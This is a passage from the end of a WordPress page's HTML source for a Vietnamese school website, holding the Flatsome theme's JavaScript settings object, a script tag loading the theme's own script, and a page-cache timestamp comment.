var flatsomeVars = {"ajaxurl":"https:\/\/myschool.com.vn\/wp-admin\/admin-ajax.php","rtl":"","sticky_height":"70","lightbox":{"close_markup":"<button title=\"%title%\" type=\"button\" class=\"mfp-close\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"28\" height=\"28\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" class=\"feather feather-x\"><line x1=\"18\" y1=\"6\" x2=\"6\" y2=\"18\"><\/line><line x1=\"6\" y1=\"6\" x2=\"18\" y2=\"18\"><\/line><\/svg><\/button>","close_btn_inside":false},"user":{"can_edit_pages":false}};
/* ]]> */
</script>
<script type="text/javascript" src="https://myschool.com.vn/wp-content/themes/flatsome/assets/js/flatsome.js?ver=3.11.3" id="flatsome-js-js"></script>
</body>
</html><!-- WP Fastest Cache file was created in 0.207 seconds, on 01/07/2025 @ 09:47 --><!-- via php -->